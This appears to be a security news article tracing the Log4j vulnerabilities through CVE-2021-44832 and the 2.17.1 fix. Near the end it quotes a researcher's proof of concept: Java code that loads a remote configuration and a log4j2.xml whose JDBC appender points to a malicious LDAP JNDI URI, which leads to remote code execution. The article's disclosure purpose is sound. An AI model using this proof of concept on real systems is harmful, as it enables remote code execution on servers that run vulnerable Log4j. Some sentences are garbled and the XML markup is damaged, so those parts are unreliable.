Skip to content

A fourth vulnerability discovered in the Log4J logging library, users are advised to upgrade to version 2.17.1


Apache has released another version of Log4j, version 2.17.1, which fixes a newly discovered Remote Code Execution (RCE) vulnerability in Log4j 2.17.0, tracked as CVE-2021-44832. Prior to this, Log4j 2.17.0 was the most recent version of Log4j and was considered the safest version to upgrade to, but that advice has now changed.

Log4j is an open source, Java-based logging library used in millions of applications. Earlier this month, a vulnerability in Log4J was discovered. It allows an attacker to cause remote arbitrary code execution if he is able to submit data to an application that uses the log4j library to log the event. This attack can be carried out without being authenticated, for example by taking advantage of an authentication page which logs authentication errors. Cybersecurity companies have reported that the number of attacks taking advantage of this flaw are increasing. Members of the Apache Software Foundation have developed a crash patch to address the vulnerability, version 2.15.0. Circumventions are also possible to reduce the risks.

But researchers have reported that there are at least two vulnerabilities in the patch, released as Log4J 2.15.0, and that attackers are actively exploiting one or both of them against real-world targets that have already applied the update. The researchers urged organizations to install a new patch, released as version 2.16.0, as soon as possible to fix the vulnerability, which is tracked as CVE-2021-45046.

The previous patch, the researchers said, was incomplete in some non-default configurations and allowed attackers to perform denial of service attacks, which generally makes it easier to take vulnerable services offline until victims restart their servers or take other action. Version 2.16.0 addresses this issue by removing support for message search patterns and disabling default JNDI functionality, according to the vulnerability advisory linked above.

Version 2.15.0 did not address another issue – CVE-2021-45046 – which allowed a remote attacker controlling the Thread Context Map (MDC) to prepare malicious input using a JNDI search pattern. The result could be remote code execution, hopefully not in all environments.

Version 2.16.0 fixed this problem. But it did fix CVE-2021-45105, which the Apache Software Foundation describes as follows:

Apache Log4j2 versions 2.0-alpha1 2.16.0 did not protect against uncontrolled recursion of self-referential searches. When the logging configuration uses a template layout other than the default with context lookup (e.g. $${ctx:loginId}), attackers controlling Thread Context Map (MDC) input data can create malicious input containing a recursive search, which results in a StackOverflowError which will terminate the process. This is also known as a DOS (Denial of Service) attack.

The vendor-independent bug bounty program, Zero Day Initiative, described the flaw as follows:

When a nested variable is replaced by the StrSubstitutor class, it recursively calls the substitute() class. However, when the nested variable references the replaced variable, the recursion is called with the same string. This leads to infinite recursion and a DoS condition on the server.

The ASF has also described the following mitigation measures:
In PatternLayout in the logging configuration, replace context lookups like ${ctx:loginId} or $${ctx:loginId} with thread context map patterns (%X, %mdc, or %MDC) .
Otherwise, in the configuration, remove references to contextual searches such as ${ctx:loginId} or $${ctx:loginId} when they come from sources external to the application such as HTTP headers or user input.

The flaw was fixed in Log4j 2.17.0 (Java 8).

A new update is available

Another critical remote code execution bug that is now tracked as CVE-2021-44832 was discovered in the same Apache Log4j logging library. This is the fourth vulnerability in the Log4j library.

Rated *moderate* in severity with a CVSS score of 6.6, the vulnerability stems from the lack of additional controls over JDNI access in log4j.

JDBC Appender must use JndiManager when accessing JNDI. JNDI access should be controlled via a system property, says the problem description. *Li CVE-2021-44832 where an attacker allowed to modify the logging configuration file can build a malicious configuration using a JDBC appender with a datasource referencing a JNDI URI that can execute remote code.*

The Apache Security Team has released another version of Apache Log4J (version 2.17.1) fixing the recently discovered remote code execution bug CVE-2021-44832. This is another bad situation for most users, but again, updating your system is highly recommended to fix this critical issue.

Checkmarx security researcher Yaniv Nizry claimed credit for pointing out the Apache vulnerability:

Nizry’s tweet was quickly relayed, drawing remarks and memes from security experts and *victims* of continued log4j patch fatigue.

I hope this is a joke, I hope so… #log4j , tweeted one user in response.

We’re LONG past the point where the only responsible thing to do is put up a giant non-flashing sign that says “LOG4J CANNOT BE REPAIRED, DON’T USE IT FOR ANYTHING,” quipped another.

Security expert Kevin Beaumont called the instance another *Log4j’s failed disclosure* during the holiday period.

Disclosure too quickly?

At the time of Nizry’s tweet, there was no official notice or memo yet indicating the presence of an RCE bug in log4j 2.17.

The tweet itself didn’t contain any details about the vulnerability or how it could be exploited, but within minutes led a group of security professionals and internet users to begin investigating the claim.

Premature disclosure of security vulnerabilities can incentivize malicious actors to conduct malicious analysis and exploitation activities, as evidenced by the Log4Shell exploit leak of December 9.

Marc Rogers, Vice President of Cybersecurity at Okta first disclosed the vulnerability identifier (CVE-2021-44832) and that exploiting the bug depends on a log4j configuration other than the default where the configuration is loaded from a remote server*:

So far, log4j vulnerabilities have been exploited by all sorts of malicious actors, from state-backed hackers to ransomware gangs and others to inject Monero miners into vulnerable systems.

The Conti ransomware gang was caught monitoring vulnerable VMWare vCenter servers. The attackers who breached the Vietnamese crypto platform, ONUS, via log4shell demanded a $5 million ransom.

Log4j users should immediately upgrade to the latest version 2.17.1 (for Java 8). Backported versions 2.12.4 (Java 7) and 2.3.2 (Java 6) containing the fix should also be released shortly.

Technical details of the new flaw

Yaniv Nizry, a researcher from the security company Checkmarx discovered this RCE vulnerability:

Being extremely focused and dedicated researchers, we wanted to do a security audit on the log4j package ourselves in hopes of finding something interesting. And after a week of code review and testing, we encountered a new undiscovered deserialization security vulnerability. This vulnerability does not use the disabled search function. The complexity of this vulnerability is higher than the original CVE-2021-44228 because it requires the attacker to have control of the configuration (like the *logback* vulnerability CVE-2021-42550). Unlike logback, in log4j there is a feature to load a remote configuration file or configure the logger via code, so that arbitrary code execution could be achieved with an MITM attack, the input of the user finding themselves in a vulnerable configuration variable or modifying the configuration file.

While looking at the features of log4j, we came across the *Appender* features. Appenders are basically the place to output the logs, so we have for example ConsoleAppender, FileAppender, etc.

The JDBCAppender caught our attention because there are public ways to get RCE via Java JDBC deserialization (See this Blackhat talk by Yongtao Wang, Lucas Zhang, and Kunzhe Chai for more info.)

But before we get to JDBC deserialization in log4j, we noticed that in the documentation there is a way to configure log4j to fetch the database source dynamically and remotely via JNDI.

He also gave steps to reproduce, including retrieving the remote configuration via HTTP*:

System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");

Using the same LDAP (Lightweight Directory Access Protocol) server as in PoC (Proof of Concept) CVE-2021-44228, all we have to do is run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);
 
    public static void main(String[] args) {
    }
}

And to serve the following log4j2.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

 version="1.0" encoding="UTF-8"?>
 status="error">
    >
         name="databaseAppender" tableName="dbo.application_log">
             jndiName="ldap://127.0.0.1:1389/Exploit" />
             name="eventDate" isEventTimestamp="true" />
             name="level" pattern="%level" />
             name="logger" pattern="%logger" />
             name="message" pattern="%message" />
             name="exception" pattern="%ex{full}" />
        >
    >
    >
         level="warn">
             ref="databaseAppender"/>
        >
    >
>

What results to expect? When initializing the logger object, a request to the remote log4j2.xml will be made. In the loading process, an attempt to load the DataSource object will make a request to the LDAP server which will then redirect to a malicious class. at the end, the arbitrary class will be deserialized and executed.

Why is this critical? The impact of the log4shell (aka CVE-2021-44228) vulnerability on the industry was significant, and a wide range of organizations reported being affected. This demonstrates the large scale of companies using log4j in their ecosystems. Apache's log4j team has been working hard to add security fixes to the latest version of log4j (2.17.0) to disable lookups and allow a list of protocols/hosts. As you can see, by using a different attack vector, it is still possible to achieve arbitrary code execution using the default configuration.

Source: Checkmarx

Leave a Reply

Your email address will not be published.